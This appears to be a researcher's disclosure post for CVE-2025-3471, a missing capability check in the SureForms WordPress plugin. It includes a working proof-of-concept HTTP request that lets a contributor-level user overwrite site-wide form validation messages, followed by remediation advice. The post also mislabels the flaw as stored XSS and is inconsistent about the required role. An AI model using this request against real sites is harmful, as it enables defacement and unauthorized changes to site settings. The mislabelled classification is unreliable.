CVE-2025-3471 – SureForms – Broken Access Control to Settings Updating (Contributor +) – POC

In the modern WordPress ecosystem, the principle of least privilege is critical for maintaining site security. It ensures that users can only perform actions strictly necessary for their roles. However, when plugins break this fundamental principle, even seemingly harmless user roles such as “Contributor” can exploit the system and execute powerful administrative actions. This is precisely the case with CVE-2025-3471—a Broken Access Control vulnerability discovered in the SureForms plugin.

CVE	CVE-2025-3471
	SureForms < 1.4.4
Critical	High
All Time	742 732
Active installations	200 000+
Publicly Published	May 30, 2025
Last Updated	May 30, 2025
Researcher	Dmitrii Ignatyev
OWASP TOP-10	A7: Cross-Site Scripting (XSS)
PoC	Yes
Exploit	No
Reference	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-3471 https://wpscan.com/vulnerability/aa21dd2b-1277-4cf9-b7f6-d4f8a6d518c1/
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Timeline

Discovery of the Vulnerability

During the course of a routine plugin audit, it was observed that SureForms improperly enforced access control on its REST API endpoints. Specifically, an endpoint responsible for updating global validation and behavior settings of all forms did not verify the capabilities of the requesting user. This oversight means that any authenticated user—including those with minimal privileges like a contributor—could directly alter site-wide plugin behavior via crafted HTTP requests.

Understanding of XSS attack’s

Access control in WordPress is enforced primarily through capability checks such as current_user_can() to restrict access to sensitive operations. Plugins are expected to perform these checks before processing requests—especially when those requests originate from REST APIs. When developers forget or misconfigure these checks, lower-privileged users can escalate their influence dramatically. In the context of SureForms, this meant any user with contributor+ privileges could modify how all forms behave on the site, opening doors for deeper attacks like injecting malicious content or social engineering vectors through form interfaces.

Exploiting the XSS Vulnerability

To exploit CVE-2025-3471, an attacker with editor+ privileges:

POC:

1) Login to WordPress via user with contributor+ privs.
2) Go to http://127.0.0.1/wordpress/wp-admin/edit.php and get here rest_nonce
3) Replace in this request your cookie and rest_nonce:

----
POST /wordpress/index.php?rest_route=%2Fsureforms%2Fv1%2Fsrfm-global-settings&_locale=user HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, */*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/admin.php?page=sureforms_form_settings&tab=validation-settings
content-type: application/json
X-WP-Nonce: NONCE_HERE
Origin: http://127.0.0.1
Content-Length: 1490
Connection: close
Cookie: COOKIE_HERE
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"srfm_url_block_required_text":"This field is required.dd","srfm_input_block_required_text":"This field is required.","srfm_input_block_unique_text":"Value needs to be unique.","srfm_address_block_required_text":"This field is required.","srfm_phone_block_required_text":"This field is required.","srfm_phone_block_unique_text":"Value needs to be unique.","srfm_number_block_required_text":"This field is required.","srfm_textarea_block_required_text":"This field is required.","srfm_multi_choice_block_required_text":"This field is required.","srfm_checkbox_block_required_text":"This field is required.","srfm_gdpr_block_required_text":"This field is required.","srfm_email_block_required_text":"This field is required.","srfm_email_block_unique_text":"Value needs to be unique.","srfm_dropdown_block_required_text":"This field is required.","srfm_valid_phone_number":"Please enter a valid phone number.","srfm_valid_url":"This site was hacked by someone.","srfm_confirm_email_same":"Confirmation email does not match.","srfm_valid_email":"Please enter a valid email address.","srfm_input_min_value":"Minimum value is %s","srfm_input_max_value":"Maximum value is %s","srfm_dropdown_min_selections":"Minimum %s selections are required","srfm_dropdown_max_selections":"Maximum %s selections are allowed","srfm_multi_choice_min_selections":"Minimum %s selections are required","srfm_multi_choice_max_selections":"Maximum %s selections are allowed","srfm_tab":"general-settings-dynamic-opt"}
----

4) Send request and check main settings in admin panel (http://127.0.0.1/wordpress/wp-admin/admin.php?page=sureforms_form_settings&tab=validation-settings)

____

This vulnerability poses a serious risk, especially in environments where multiple contributors or editors operate. A contributor could:

• Deface all form validation messages to display offensive or misleading content.
• Trick administrators into believing the site is misconfigured or hacked.
• Act as an initial foothold in a broader exploitation chain leading to privilege escalation (e.g., through XSS injection in validation texts that get rendered unsanitized).
• Potentially disable critical form fields or inject attacker-controlled links, phishing bait, or scripts depending on where the values are rendered.

In essence, this vulnerability allows for a lateral privilege escalation attack and manipulation of front-facing content across the site—without requiring administrative access.

Recommendations for Improved Security

Plugin developers should:

• Always validate capabilities using current_user_can( 'manage_options' ) or similar checks before processing REST requests.
• Employ WordPress’s register_rest_route() permission callbacks to enforce authorization logic server-side.
• Audit all REST endpoints that perform data-altering operations to ensure role-based access control is in place.
• Provide security documentation detailing what roles can access specific features, so users can configure their sites accordingly.

End users are advised to keep all plugins up to date and limit the number of user accounts with elevated permissions. Additionally, monitoring REST API requests using audit logs or endpoint filtering tools can help detect abuse of such weaknesses.

By taking proactive measures to address Stored XSS vulnerabilities like CVE-2025-3471, WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.

#WordPressSecurity #StoredXSS #WebsiteSafety #StayProtected #HighVulnerability

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Dmitrii I.